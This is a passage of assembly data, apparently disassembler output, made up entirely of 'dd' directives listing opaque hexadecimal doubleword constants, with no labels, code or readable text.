9FAFFF5Ah dd 0F5190AC2h, 21B6C61Ah, 0BF8FF277h, 78AF3831h, 342E2D1Dh dd 17DEEFEAh, 0C77E7F07h, 0A22F1E6h, 0AE4AA425h, 41D77D18h dd 9D9E97C1h, 0DA034C92h, 0D6643437h, 0B15D9B69h, 164F4092h dd 29761D11h, 900ABA97h, 68F40A72h, 69BD29DDh, 0E293DE2Fh dd 21094200h, 80F30824h, 0F238518Eh, 0E1AA1D03h, 755164DDh dd 15F98B8Eh, 4D0F9D84h, 0A22A1F05h, 217173ABh, 0E538FC02h dd 316D553Eh, 163B4446h, 0D013C441h, 0C2397214h, 0C2B61F6Ch dd 8A639649h, 84E91ECDh, 0FDBEBE8Ah, 7F356B9Eh, 5F80A5DBh dd 6008CC4Eh, 0A400EF77h, 2E9523BAh, 0FA6CAC2Bh, 6CEE5810h dd 67147ACEh, 81BCD8Ah, 9B0AFDD0h, 0D497BACh, 3E779598h dd 5F9AE22Ah, 0A367468Bh, 0C5215290h, 57EED3A8h, 56EFF54Bh dd 0D4B4AD74h, 255B018Eh, 0DC13D137h, 8CB83025h, 0B718C964h dd 49FA3DABh, 0B12D0693h, 4806C554h, 0A3FE14DDh, 20E12407h dd 5EE42A1Ah, 66B32DF7h, 37B919A4h, 294AC949h, 8A8A1460h dd 0E1EFBD1Fh, 86F451E2h, 3EF29203h, 4B0C5EFFh, 22F6CA17h dd 29FF2E2Ah, 0AC19B6B2h, 0DF6B04A7h, 8B88A44h, 0A8BC6BFDh dd 7A265D50h, 7AD6371Ch, 68C23BACh, 0E53A417Ch, 0F58294E7h dd 1AB178B9h, 0E22A85F6h, 9516EA8Ah, 0F2A9107Ch, 8E7B1830h dd 1A361C59h, 0EBF1E97Ah, 0CBC490Eh, 0CAC3D3FDh, 0DB982B09h dd 0DBF8D82Ch, 7991B72Ah, 0BD586497h, 2A68253Dh, 0E6BC3ABAh dd 0C0317430h, 0A4AE88CEh, 2F0348CEh, 9F154590h, 909712A4h dd 15B1A6B4h, 13A3275Ah, 0EBE9E93Eh, 57479EA3h, 66BF7ED5h dd 6F5EE76Ah, 0DEE30C25h, 0EC35E12Bh, 2D4EBF91h, 4D444173h dd 27D6408Bh, 0F5DEFB3Eh, 0FC299E79h, 94B62F47h, 0E4055DA9h dd 0F0C68C93h, 460C5728h, 0BB383B4Fh, 91231176h, 0CA7190A4h dd 0A0A5F08h, 0C270CBC4h, 0A93A8033h, 0F46151BBh, 0FBC145D5h dd 72A3F26Fh, 2805516Bh, 188508BDh, 675C583Dh, 9BE39D8Eh dd 0CA63DC97h, 84A74D59h, 4A2058F3h, 3A2B963Fh, 418BC7C7h dd 0E3DE1924h, 57D723D2h, 1D0699EFh, 0AFFAD97Ch, 87D46E2Fh dd 0F00E875Dh, 834675DAh, 0B6EDB9E9h, 5D1AE71Ch, 6E3D6164h dd 93D79CB3h, 7704FC4Dh, 4F2906FEh, 0B46F131Fh, 763F4120h dd 77837F7Ch, 0A31EF009h, 14167989h, 74133DFEh, 7EFD02A3h dd 0CC19FFE0h, 66B04687h, 45711C3Eh, 9C222BB0h, 0C3684F91h dd 0A6DA3F4Dh, 0EE8A48DBh, 0D0B3B337h, 2D4D6A87h, 44F262A8h dd 0E5384B20h, 7E9A45BFh, 0F2B7C21Ah, 784DE5A3h, 0EDB109E5h dd 99FE2564h, 0D162C4A2h dd 40AD56D5h, 0F4DD16A5h, 1F721875h, 838B13ABh, 162AFB52h dd 0F598C3D0h, 65EA618Ch, 48365843h, 278250DDh, 9C2A3198h dd 994D3515h, 0F01DF2E8h, 0F3DC1C62h, 0FC9E0C8Bh, 88686303h dd 0F11B24h, 7F533547h, 0A120F695h, 722EF31Eh, 9DF9FF3Dh dd 4470C365h, 103FDDFDh, 0C8A06AF5h, 0AACE03EDh, 70867B40h dd 25302218h, 77D5E6C7h, 5ECFBDA0h, 1C661CFDh, 4051E396h dd 0B145F878h, 4B1C0B20h, 9865DCB1h, 59CFCB2Ch, 0C1C17BA5h dd 36449Fh, 0C0C79DBDh, 0A7D3E6A2h, 0A30C1BE5h, 901B202Bh dd 5961BAFEh, 0AFEF0562h, 3AA0F4C4h, 6287183Fh, 0FD688385h dd 0A9690BCBh, 57B9F182h, 4B5454C6h, 0DB8042C9h, 3A70D86Dh dd 456930A4h, 367A8D05h, 2416B4A2h, 8D5ACB38h, 0F622C3DAh dd 4F054BBAh, 99B5A115h, 9EA84512h, 851E7A9Fh, 0E049120h dd 312A318h, 7FFEC6ECh, 5B93DF9Bh, 9527050h, 59B64301h dd 5EEB7962h, 0E10745F8h, 0A5FE63CDh, 854DA8B7h, 4EC1556Eh dd 0D0242ABAh, 0D4687860h, 31E1C613h, 38477343h, 5229136Ch dd 0F85278A0h, 4641D4CCh, 0ACE1456h, 4D725BAFh, 0B07885D6h dd 36E498CCh, 84EBADA5h, 8A1342Eh, 0AA546571h, 6479996Ah dd 0D69D9D70h, 30562ED4h, 9BD24B4Eh, 76292D00h, 6336C425h dd 0AEAA7E4Fh, 0C595B942h, 56D1BE5Ch, 0DD6870A2h, 55A2B0A6h dd 0ADAA5F58h, 588D4090h, 572B0AAEh, 0EAD5530Fh, 0EA8EF24Bh dd 94B3A6A6h, 5C277FC7h, 546CDCCEh, 31E618CBh, 0D875EAh dd 0FB50C474h, 9086E1ADh, 3866F46Dh, 0BFA1AF1Ah, 5F1D69E1h dd 9A7D04C4h, 0EEFA0E73h, 6FAACD9Ch, 0D2860230h, 9DF386F2h dd 0C6C06D21h, 1E1DEC75h, 8162E5Bh, 4BCD86DCh, 62592749h dd 6D53E30h, 0D58E8B93h, 1F5DA31h, 8D667D76h, 0F93CC8CCh dd 1ABC0213h, 250AB83Ah, 22975357h, 198BAB64h, 0BDF0CD7h dd 0D17B08CBh, 0BEED90DAh, 0B5B4F4ACh, 0F01E021Ch, 0F701B18Bh dd 8373355Ah, 0BF9F5C8Ah, 0A406AA72h, 0CD6067BBh, 86377FAAh dd 0A1A10EC5h, 0D34FBDBFh, 3AB18BD4h, 0CC008D35h, 666C80ABh dd 22A6739h, 0F083AE1Ah, 506E3D8Ch, 63AF6419h, 17742FE3h dd 0C3413051h, 4CFA669Ch, 86EE48D6h, 0B18D5BA0h, 5BF5C84Fh dd 0FE619A4Dh, 68EFA5CFh, 621AC69Ah, 0D35AD125h, 0A3622A12h dd 0F15C70C6h, 0FDD8657Bh, 0BFCC7239h, 0F3F8706Dh, 499B32D6h dd 0A2906D08h, 4AAEFCE5h, 815A0D10h, 67DDE23Ah, 286EE7CFh dd 0A84A316Bh, 946D131h, 0EB09F8E7h, 0DABCAADEh, 5D9628BDh dd 0CB784C69h, 800A49F7h, 3E734759h, 90A2D089h, 3C161535h dd 0ABA8ECD1h, 0D80CFFF5h, 0C8D30F9Ch, 0EB02C4A2h, 43EB958Dh dd 2B9B98A1h, 0FC610C30h, 0F688CE3Dh, 0C9D2170h, 41858620h dd 5F691B83h, 7AA9845Fh, 1AC0D55Ch, 0AE3D37F4h, 17504840h dd 0AF99A0A5h, 78DA5145h, 0FCB7F40Eh, 0DB41A671h, 986FF584h dd 5D1B5335h, 1ED5C31Dh, 0DE87BD17h, 2FA6B462h, 0E104515h dd 3DBC930Bh, 60A1CD8Dh, 5432EE04h, 77AAFE64h, 0F74C1EFFh dd 69866EFAh, 65843730h, 2216E483h, 0A0700428h, 0A476920Dh dd 0C510424Ah, 3ABA0B9Eh, 4DFC8C5Eh, 0A4C901F5h, 0C4B6A57Ch dd 9A461F86h, 67DF51FCh, 0C56C4740h, 0CE60AC32h, 2E538901h dd 0F47FACEBh, 0B8CDC699h, 96E37469h, 95EE27FCh, 9774524h dd 0C0D14790h, 1A458327h, 2B9C9ADBh, 0FDA7BBE4h, 1B1C26B4h dd 36749F08h, 0B3FC7D7Dh, 46D34E74h, 88BFB007h, 6BBB10FDh dd 1BB7FF52h, 673F8301h, 0F216E965h, 6E82FD85h, 9C752A8Dh dd 63E1ECB1h, 313C7FDDh, 8FC14B7Ch, 0D4162D32h, 82BEDEB8h dd 35D1BD36h, 2FB66503h, 0C160617Fh, 1FBEFD40h, 4288F8C4h dd 3EC9F470h, 0AAB1C6CEh, 0A1853411h, 4781D67Bh, 7EFEF62Ah dd 0C2F3521Fh, 0CC71A05Eh, 25069DE9h, 0B1F34E92h, 0ECB0E014h dd 52468603h, 1A67080Fh, 14AE5859h, 0A0F8BC20h, 2880FD58h dd 8B30D6CBh, 0ED0B6DF3h, 0D85D0380h, 7B81F7B1h, 7995D19Ah dd 1FF14989h, 0C14BF027h, 0E859AB4Ch, 0A0628E5Dh, 0B8D6CAD4h dd 19C7A751h, 556DC2DCh, 0D90B59FEh, 0B922D8E8h, 36C8E8C2h dd 0E84F8F50h, 876A12A3h, 8C955AF5h, 82CF0FFBh, 0AD096376h dd 48815655h, 5E2670FCh, 0D0A36181h, 0FE78ABCDh, 0FA08B5A0h dd 0A23327FDh, 3A0B1E2Eh, 0ACBF0DBAh, 29694BE8h, 0F27FD6B9h dd 0BA4D4E1Fh, 4E2A0F09h, 9BD49BE9h, 7BDBFD6Bh, 51E550CCh dd 90EBAC02h, 287F8B55h, 92B68ECCh, 22AE57Dh, 12B85851h dd 3ECC39F4h, 4EA22432h, 64F10463h, 0EB2C9F7Ch, 0D306C730h dd 1E4D3D6Ch, 3332D5E4h, 0EE316748h, 0B4AA7E1Eh, 11E05DEAh dd 27F6DE4Ch, 0B441A5E3h, 3DEC2ACEh, 9BC5EF9h, 2F990405h dd 0FC9CDDCBh, 0B50716Fh, 15A6978Eh, 654DD742h, 98E6E41Bh dd 9320AF92h, 0A6F83B5h, 0ADC1435Ah, 9703D9A8h, 0EE6DBC39h dd 0DEB790C7h, 72FBE2C6h, 0FD15645Ch, 5EC99E7Fh, 54A039FDh dd 0C46C36B3h, 3B718C3h, 452E3728h, 7AB0C772h, 5F5B1083h dd 0CF79A2EDh, 0AFA189C8h, 71FE0AFBh, 0A3E3AAAAh, 1D24F5E9h dd 3C2FCF25h, 0E60DC868h, 0F83665BEh, 12509682h, 0FB7D3C49h dd 1FBECD55h, 0E5233A25h, 89B010F3h, 79248D3Eh, 19EA976Eh dd 0AC49A407h, 140D61Dh, 7370B63Eh, 2BE638FCh, 46615148h dd 0AECEF2Bh, 0DC189CCCh, 0A0ACE083h, 0E5E2CD24h, 8C6088C0h dd 0A8BAF994h, 1FC8BEE5h, 0E9D0522Ch, 0F5554F03h, 77C89883h dd 6B69EEADh, 67647086h, 0E1507D7Fh, 0C983BDE9h, 0BE0A5D81h dd 0F819EBE3h, 0EE4A079Ah, 0B0DCD990h, 0A9D7D0Bh, 704EAAD0h dd 0D36C64C7h, 7CD56006h, 0F08C4B77h, 78915963h, 27AB3F1Dh dd 0B90D5F6Dh, 7B636266h, 10F6A916h, 97AB8404h, 3842972h dd 0C38AC125h, 29D9B2EEh, 13A85558h, 0ADF3B6B5h, 0A759C1CBh dd 0B67AA0F5h, 0E3DEB169h, 0E81EEBC9h, 372628B7h, 9194D533h dd 6F015899h, 0D4937F67h, 0F53CE70Dh, 6E1F95E8h, 3A550609h dd 0FC84F7D5h, 10AAC390h, 0A5D251F6h, 0BC61E35Ah, 27FB5C13h dd 714713D7h, 63CB36Ch, 1E2CEDE5h, 0EE2689D1h, 535489E8h dd 5BC5FCDAh, 7C0B7ED0h, 0B868497Bh, 0A9AA2128h, 0B3253E6Ch dd 94A661A9h, 2BC8571Dh, 83D8EA6Bh, 21533586h, 0B30EE092h dd 662875F1h, 37F38CEAh, 0EFA63742h, 0AF349FC5h, 9397C146h dd 0A527DAB4h, 63A24CAh, 3C2B35EAh, 5218B1C7h, 9CF67A33h dd 3EDB34E5h, 542D8636h, 3B7A553Bh, 506F73EDh, 978ED181h dd 0AC00CF6Dh, 478C9C94h, 0D1269F8Fh, 766AD040h, 0D045C30h dd 351CC63Dh, 164977CFh, 0F88407F0h, 0DF7F20BBh, 0ECE42479h dd 2731279Bh, 22A0BDDh, 45942472h, 4E26715Dh, 57975CDEh dd 4A71165h, 252C2085h, 0E1B59745h, 0D326B54Ch, 4FBD61D3h dd 3C8984D1h, 1386F29Dh, 15025468h, 53444069h, 0B96DAD6Ch dd 0E8563030h, 6FB34FCDh, 7B45DAE2h, 1C7BCCCAh, 3BD36343h dd 0ED848F95h, 5E02B534h, 0A1A2650h, 4AB030E9h, 54E5E392h dd 8E4FB4AAh, 12D5FB51h, 16764E48h, 1E98803Dh, 50B58D4Fh dd 7B455E74h, 953EA1CFh, 5A24B340h, 455F462h, 7A6BA816h dd 0E49240DAh, 13108817h, 0DC96A93Ch, 0B180E471h, 6787B8C2h dd 0B756CFDEh, 93103A37h, 0B11589F1h, 0E5A6EBECh, 92A817C5h dd 7943D2BDh, 0B11C1BD9h, 29D53395h, 0AAB353C9h, 7DEE178Fh dd 0BCC3912Fh, 792B2DC0h, 29F3510Bh, 8931048Fh, 0ED096402h dd 47BC4D39h, 73F9DEE6h dd 0B29E7363h, 0EE184F34h, 0CEBE702Dh, 415CC5E0h, 967EFCE4h dd 49B3688Bh, 73AB50ACh, 8AC5BD0h, 0D705C8EEh, 536EFAEDh dd 98124652h, 0FB2204D5h, 8280D8B8h, 0ECD63077h, 3084460Fh dd 5C0747F6h, 840B4BEh, 64C01039h, 0ABB45242h, 82078D17h dd 0EBDCA5h, 7497E211h, 0E830CF92h, 2E9703AEh, 0F3AEAE5Eh dd 95E93C30h, 0F205BD5Ah, 1D813206h, 0B11FD854h, 2B000798h dd 62C73D8Ah, 0B09425A9h, 0B6484FC1h, 7213A27Eh, 0D91BE195h dd 0BE5DD07Fh, 8A034EDBh, 853BB02Ch, 0C2B60582h, 0A68B51Bh dd 92934490h, 0BCE07988h, 0D74BE79Fh, 5F4FDA0Bh, 89DA96F5h dd 0BB325EF3h, 0FB72489Eh, 4BE8A7EFh, 0EE229F7Fh, 9643FBEh dd 0BF6D6832h, 63CFFE4h, 0A3B6F6F9h, 546DA885h, 0AFC1ED9Fh dd 0B0E22661h, 63745185h, 3BCAF993h, 212C0CF4h, 91D24B3Bh dd 0C2E8FC3Dh, 72E30EBAh, 74930D9Eh, 4D6237E9h, 0B8A9FEC2h dd 9ED8ACA6h, 58C0DABh, 318A4A69h, 0ACD95894h, 0F607D5F4h dd 5B8AEF61h, 0CDB054D3h, 5199D6DCh, 0A6A475B6h, 3D84213Fh dd 0C85EE37Dh, 31F9B05Ch, 0F24E2755h, 0BEE48D9Eh, 4702C3CEh dd 9DADC20Dh, 0F9346F95h, 0E0908F65h, 0F41EF1F4h, 857674A1h dd 77957131h, 0C5B9EF9h, 4D132E38h, 6EF3F0Bh, 5B16F5E2h dd 213189A3h, 68E64224h, 4110FF9Eh, 35F6CC3h, 0A788A600h dd 2260BBF5h, 0BB0D9371h, 0C50E5F73h, 3581C5A3h, 2523FDC5h dd 0AB17B380h, 5C091DE3h, 0D7BD11F5h, 0CBEE3604h, 43B0A147h dd 2486B014h, 0C3082209h, 0BE95FA36h, 27930A30h, 2A8C6C35h dd 0EA703561h, 535FC3DAh, 0A29BF389h, 5CF82C3Fh, 555DB37Ah dd 50377902h, 0B61731B9h, 7B1FAE16h, 617E27AFh, 0AD5B66C2h dd 97512DB8h, 0A008A3A0h, 42012EBFh, 8BCA4F16h, 961D6F0Dh dd 7D8952AFh, 3566C17Bh, 8C18EF6Dh, 8A9A7A8Ah, 82F44BFh dd 0BD8744ADh, 8BBEEAF8h, 50B48FF8h, 1F138333h, 0E1ACB0E4h dd 0B2E3BE09h, 556E719Bh, 0C77DA8D4h, 2FB744D6h, 8297AEB5h dd 7CBF98E5h, 62C29DF6h, 6FACFCBh, 0ECE47515h, 3E4FBF8Bh dd 0E4A7C84Eh, 0D26AC320h, 0C1131A7h, 697470BDh, 0BA550A6Fh dd 0CF62F2A8h, 0C1C95EC0h, 1D895538h, 5094039h, 0CCC5B0C6h dd 0EE4FEF39h, 58895F18h, 5D972CE4h, 4122038Eh, 0B2BD17FCh dd 7EA15483h, 27723E4Bh, 0C55814Ah, 0C817F708h, 0C4043D20h dd 9E5E6B3Eh, 0AEE04B84h, 0FB020054h, 1503A709h, 0A868B628h dd 88E74354h, 1993268Bh, 92B39A05h, 0EAEB52BFh, 0CE3E3BD7h dd 3D544EA2h, 627718BDh, 18CE20D9h, 0BACBC4C6h, 1086C91Dh dd 0E514C233h, 7548CE99h, 2E9F5508h, 0DB986A94h, 0C2061A32h dd 0DDB9793Bh, 806E4424h, 0C3EB03D4h, 0D846EC4Bh, 2414D2Bh dd 0E78635C5h, 0F298EFD2h, 0C17D4D28h, 3A6AAC62h, 0B5F1EDD8h dd 3FC21B3Dh, 7A5A8332h, 0C488B06h, 0E1D18EEh, 6D1904F4h dd 2DBB5C98h, 0E8E2C9D4h, 36453601h, 0FF33FF2Ah, 0F8667E3Bh dd 0E07610CDh, 63EC684Ah, 59C040D1h, 0CA67EE9Eh, 2F494895h dd 227B5199h, 0C730897Bh, 6D80F2FEh, 0E5A9BCE0h, 80242E57h dd 0A3FB7FF0h, 2DB6B61Fh, 0AD1A9E7Bh, 0E2636E5Dh, 16DD162Fh dd 81332AC8h, 8509233Ah, 31DE55FCh, 0CB0ACC73h, 0A1915BD0h dd 0DB2AA1CCh, 78F14210h, 0A963421Ah, 631D5E5Fh, 79DDBD4Ch dd 0D3AD6E79h, 376A085Ch, 91DAA9CCh, 7E470FF4h, 0C435F1D9h dd 15DB26Ch, 1827A86h, 0FC4B1C1Fh, 0E98AC53Ch, 6C701E6Dh dd 0B689091h, 52C8F7EEh, 8713DA4Ch, 0E3A9C355h, 3106E2C7h dd 0B29196B8h, 7C11F73Eh, 231F1B58h, 0F9F0F375h, 0D2FCEFABh dd 25CECFAEh, 0FDA122A0h, 8082FF55h, 668257FCh, 8DBA694Bh dd 320AADB5h, 149D9E7Fh, 0A303CC1Ah, 2942FA81h, 4A914273h dd 149DAE08h, 0A58BA86Eh, 0A37E33Fh, 0CC2549A0h, 0D9515C54h dd 0F6452C1Fh, 0D940BEF6h, 0A6D2CA6Dh, 0BF06655Eh, 0D932C28Ch dd 828F8F66h, 4B43E386h, 1A8CE3CCh, 404E93DFh, 7B73017Eh dd 59BBE96h, 86A32628h, 0F9C2027Ch, 0F750CB5Fh, 0BDF41977h dd 0AD36882Dh, 0BA6B3C00h, 0B17B8EC5h, 3D508DA4h, 77DF5E1Ah dd 9742E4BDh, 0AA04E307h, 0E872DF1Dh, 0ED948F41h, 568AABA8h dd 0E1B86EE3h, 8ECDFBFBh, 0E13AFE15h, 6F34751Eh, 651E9666h dd 0D073BBDEh, 33CCCFB2h, 5FD8AED7h, 59FD8270h, 6EFE7C6Ch dd 0D84D79E6h, 49FB263Eh, 7DA1F819h, 0EE8F0CD6h, 0D565C84Ah dd 1629F850h, 4F93EFAEh, 3263BBE3h, 0F7A46A1Fh, 436F4A4Dh dd 0A71A4B6Bh, 9E360B75h, 118768A3h, 476EE2CCh, 1189D8EBh dd 9CB3ABDFh, 1B55F162h, 5B748676h, 0ADA78AEAh, 0E24E3052h dd 0D1C8BE8Dh, 0B76748C2h, 51E8240Fh, 1312A057h, 0E17BC284h dd 3822C4BDh, 4FC4D12Eh, 0EB3473h, 0C0F77CDBh, 0B00EC83Ch dd 0DA7E2D7Eh, 0FC2CEE81h, 37BC4A5Eh, 0B802D221h, 0B2A36CD3h dd 0B0B0ED13h, 0B49ADB8Dh, 8FEB74FCh, 121F1E4Ch, 0DEA79212h dd 0FBB5A8BBh, 0EBA20259h, 5B788B93h, 0A5A579FCh, 3E27EEFBh dd 0A94B54A2h, 67A9D7C6h, 0FA0BE553h, 678CCCDCh, 96290DFBh dd 19A5EE29h, 37E72173h, 2B2455A0h, 0E6397919h, 69D152EBh dd 4A23B373h, 0CB90E30Ah, 0AAE293D0h, 6E5C4A57h, 0A97A5051h dd 3CCD4BDCh, 49E27B7Dh, 7030F72Ch, 34B1C3B6h, 763F09A8h dd 1C64DFE4h, 0D664F345h, 0D21BD255h, 0F9473FC9h, 38FB41C4h dd 1C221221h, 9D49A109h, 5D8C1C7Dh, 47E27C26h, 89D617AEh dd 0CB5F01E4h, 81423F0Eh, 18016F2Eh, 8DD89BDFh, 13907CE7h dd 0C45C5F46h, 775C6B29h, 0D9D6A3D4h, 0F3684388h, 768F9139h dd 0F1254355h, 99566601h, 24D82EAh, 7027D4CDh, 0F6A1D592h dd 1C12CBF1h, 28710F7Fh, 0E7115E35h, 63822BC0h, 0BC7CEDC4h dd 0AB9F5911h, 429F5B4h, 3C968145h, 3AC03E4Ch, 6DFD1696h dd 40840C25h, 0CEE12144h, 353F2CA0h, 23759F6Ah, 90127177h dd 626091E2h, 43DC5E0Dh, 0DDCBC888h, 0E0748BAFh, 8AC890DFh dd 0A8EFF3FBh, 0CBE32565h, 40156D9Fh, 4463F54Bh, 178AD3D5h dd 7D4DD422h, 6BAD5815h, 4DD15763h, 44052957h, 5ABAD92Bh dd 773796A2h, 61AA4938h, 446BCA79h, 0AEFB2A86h, 5F9EF645h dd 4F4F0DC3h, 6A8D3E76h, 0DA7FD1A7h, 7909D654h, 0B3D249DFh dd 7D19B885h, 72C2ACB1h, 0F06A8863h, 1EC5F287h, 0F8182F06h dd 5AEA75D7h, 73B618EFh, 46F7830Bh, 69424BABh, 27C54F74h dd 9AAB8625h, 0E523F0FFh, 0CE28A3A7h, 1861CDEAh, 0AC2C830Ah dd 6D381A47h, 1C2220ABh, 9E54D707h, 225BF582h, 22AC6AFAh dd 0F223FB89h, 0F5A2F422h, 422778A6h, 3349B235h, 0E562A73Ch dd 381BA801h, 598FC570h, 8FA88C2Ch, 5FCBF701h, 65489973h dd 127B2915h, 4531E504h, 207AA9DCh, 0F23EC2E1h, 60C10CBFh dd 79FFEAE6h, 82D6D333h, 0F887012Dh, 5CF980F6h, 5EA0F5ACh dd 0C4A14AF7h, 3CE1A023h, 0D20336A2h, 1E22C1A6h, 0F33992Ch dd 2B6CAC62h, 738EB26Ch, 0CB2D3B4Eh, 3F2C5C0Ch, 9F4FD2F5h dd 3FAEDF9Ah, 0A5E4E5D2h, 2EA39195h, 0C6F7A372h, 7047D9C4h dd 0BC8E0268h, 0C39998CAh, 733304BDh, 6678A0C7h, 0E2C9E643h dd 62754D3h, 770B16ECh, 0E0843CBAh, 82B2887Dh, 3EF2EB73h dd 0DBBDFC0Bh, 72F44E11h, 0B37A31F3h, 80E01A34h, 1FAA765Ch dd 51BF6627h, 404D555Ch, 0BC204322h, 19B89FABh, 5473072h dd 6E6E3FA4h, 18475B1Bh, 0D332137Fh, 0AE2C8D7Ah, 0C6C96EE6h dd 0ABB604B2h, 0A378658Fh dd 1392AAFFh, 78524673h, 57871388h, 0CD657BD9h, 0BEA5A3BEh dd 5CBACA6Ch, 461DCD3Bh, 68CD4D9Bh, 0B59C9772h, 0F0D3B010h dd 0A9C9FD1Fh, 80FC6D51h, 81986B61h, 0AC70D436h, 843C5759h dd 78AAE384h, 442F9B28h, 23574F60h, 51E23CEAh, 926C2BB5h dd 0A39CF646h, 0B7345447h, 1E9B75E8h, 54DA988Dh, 0E3641BC7h dd 0C99A3710h, 0F45C8278h, 873DEDA9h, 8F7385D6h, 196AD5A4h dd 7575E65Eh, 22D1EEDAh, 0CD446535h, 2DE485E4h, 8567083Dh dd 0D11B00E4h, 6835AFDDh, 0CE4027E8h, 574B1465h, 29348F4Dh dd 2517F886h, 7F9E0FF8h, 69693426h, 20F82F05h, 7E358F46h dd 0EF1E6192h, 0A3F9A386h, 0D3D44D7h, 690777EEh, 0E63DEAE3h dd 463010DBh, 2AD41250h, 0F8E6BF9Ah, 659DF30Dh, 6FD5B7ACh dd 0BA90CEA5h, 87939DB8h, 3732B37Ah, 1DB4130Eh, 92CEE60h dd 35C0795Fh, 8E0E8AFh, 0F13B68ACh, 63AA0937h, 0C0D2453h dd 188BDD2Dh, 2438CDDFh, 0E6379BC4h, 0FA839EB1h, 0C9EE61D7h dd 8426A700h, 0F30D65E3h, 0C79F30BAh, 95121C31h, 0DCC347B1h dd 76D31C5h, 0C568D181h, 0CDC0EE9h, 47FB8E28h, 0BE474A9Dh dd 20F0BFB6h, 0D947FF8h, 6FFFF0EBh, 927F190Ah, 0FCA122C5h dd 0B0211492h, 2D8ACA69h, 0BAD05706h, 0E38B037Ah, 0B5557780h dd 1794E908h, 17B7B47h, 371CFBBBh, 9CFE9C64h, 0DF8807EDh dd 2A9867B1h, 0BC8AC072h, 7F99B032h, 6BDDF64Fh, 741ED44Ah dd 0FC71D537h, 0CEB8E5E7h, 4B14320Eh, 793DD0CEh, 0B29123C7h dd 9A04D489h, 0F307D2BEh, 153F9447h, 2360DB7Dh, 28A2021Fh dd 396B47DFh, 0D9506EB9h, 418458FDh, 871431B3h, 0AE4D374Dh dd 16F0D34Fh, 0F200F949h, 3C3CD16h, 0BF38B424h, 0EAC4E180h dd 2AF26AF6h, 7126A82Ch, 0C71D86Ch, 5987BEC9h, 0A9264BBAh dd 4C2B8FF1h, 2028FC2Bh, 0C95C2AFAh, 0B8B3D522h, 410DC796h dd 0A9019830h, 7112F190h, 5C7DD815h, 0C16D109Ch, 8C1D1E97h dd 1433FCF1h, 0D5AF5BC7h, 8C449702h, 900EA5A1h, 38B91068h dd 2E7D526Fh, 0E6F147D4h, 9764C0F0h, 503C280h, 8E3F08CCh dd 2A9D743h, 0FF05E1D4h, 985BCB6Bh, 0FB5F1615h, 1FB23F21h dd 66DA0405h, 1B955118h, 0BA04AE8h, 0DC0C8BE7h, 0C624E11Fh dd 7B6F840Ah, 198DD7FEh, 735B84EFh, 5AC913FEh, 672CAE41h dd 0CBD9FC9Dh, 0F81059F3h, 34EAC7BEh, 0BDC92DEFh, 0D6762B3Ch dd 9F491635h, 0CB65FAC9h, 315064F0h, 93AFEF14h, 733DAB9Ah dd 53C347C3h, 368DE13Eh, 3BE48BEBh, 0F0C2E402h, 368240h dd 8C0EC525h, 725D8C6Ah, 0DBD94A08h, 601C6FD5h, 0F9FA936Ah dd 0AD169737h, 50F3D1F5h, 0D841144Fh, 0F111F783h, 3F5A359Dh dd 0CD61AD05h, 7DF49484h, 0A3DFF707h, 0FF8D44A4h, 3B3714Dh dd 0D6E31250h, 8C79EDACh, 0A36B82E2h, 0FB5655F5h, 205503F7h dd 3A6DB9D5h, 0AB92C9B7h, 1541294h, 3CF3C6Bh, 0EE487D15h dd 6AA5D1F1h, 7CE55FBEh, 2EE9BE2h, 709F51EFh, 8AFCB23Fh dd 0F6468E1Ah, 72A8ED53h, 0B42E2451h, 0A42385D4h, 232490D9h dd 9C1D4E94h, 73074F93h, 671DE50h, 0C15212FFh, 633E4C70h dd 0C7E1BF20h, 91863B9Ch, 987787F3h, 67B5B5B6h, 6D307D0Ah dd 548E3B40h, 1BC6A72Dh, 0A2E30E2Eh, 0BE3BD3A4h, 0E46C7372h dd 6AFBA763h, 71B464EDh, 0A128CB06h, 7D8B77Eh, 268BD152h dd 0B0CFC491h, 0C192947Bh, 0DD799029h, 409C9949h, 0BDCDF3A3h dd 0EBE38692h, 9E6B14FDh, 56752D62h, 390CE154h, 3791BE39h dd 0B3F4DC45h, 3A1B24AFh, 0D2A33F3Ch, 0B1B8998Bh, 0A4DEEECFh dd 3309BC17h, 8C010E09h, 0B46D8394h, 850C01BDh, 0AB4FF2A6h dd 6237BCE2h, 0E955CF1Eh, 0CA24CDB0h, 2D2A07C3h, 63D9705Ch dd 0D6090001h, 9F749C0Ah, 8C739753h, 0F34EADB6h, 3D7B1F33h dd 0B71E8075h, 351A385Ch, 88054370h, 0E77AF71Ah, 0C478130Eh dd 990EB925h, 0ECB8CFDCh, 93E6814Ch, 2DB17EBAh, 0A2CE37B3h dd 53E4812Ah, 7BD7F145h, 988BED88h, 5DE72933h, 35D48809h dd 29AF319Bh, 68F24FD7h, 0E1AB5849h, 57C7884Dh, 2CAD0A08h dd 7F70F25Dh, 8A5706BCh, 3A77F448h, 642D3621h, 0D9B8EAF4h dd 0FDCA2837h, 6A63584Fh, 0CB036B15h, 84487A83h, 0E8E9615Eh dd 0F2AD4F79h, 53D6CB4Ah, 3A6A1567h, 85DB15C0h, 0C74BDCD2h dd 6F27D9A1h, 0F4CC5630h, 0CBAB6A0Bh, 0E7947546h, 8C5D622Fh dd 7D73FA4Fh, 0CD294379h, 2D3DA3C9h, 0A19E3AF2h, 70F23D78h dd 234E45FDh, 0C20026F0h, 56BE423h, 76DF20B7h, 66972078h dd 750F319h, 0FCE09427h, 6A9B8CEh, 8308A0Fh, 503D115Bh dd 2A42C7B1h, 0CBFBEC4Fh, 0F148A1AEh, 0B4B61A9Ah, 0F15B7F8Dh dd 0E3BE44F5h, 0C977DB70h, 0DCB99F04h, 515D1952h, 0E264E7BDh dd 0F7F64492h, 65749E55h, 0CF19F9E1h, 617D0BBCh, 9ADC81FBh dd 0BCD3C949h, 0C81F6844h, 54D4D3D3h, 834075D1h, 0CE09509Bh dd 43A20E08h, 200C852Ch, 23CB15D1h, 2CB2150Eh, 883641CEh dd 0DC1A4EF0h, 7EDFC334h, 24D523E9h, 0EE8DC396h, 0C5BA7074h dd 0A79F273Fh, 3BCD8726h, 0D129F7CDh, 0FC336F0Dh, 85949EC7h dd 795C6D6Eh, 0C18B9E78h, 0EF051523h, 0B421BD06h, 91F16544h dd 6B7EE594h, 1F25F46Bh, 34942C3Eh, 3C8C0496h, 532E7F41h dd 7C3952B6h, 0D9C5F40Dh, 48679586h, 9804866Dh, 49A5711Eh dd 7EEA0CACh, 0CD473B33h, 4C5599C3h, 0B5C86E07h, 0CCD86B70h dd 0A114ACA5h, 66B1F3A5h, 51EA0534h, 34D4C6F5h, 49DA5813h dd 0E2657A33h, 0B14BE8F5h, 94E3C485h, 9F2C544h, 1683FFA4h dd 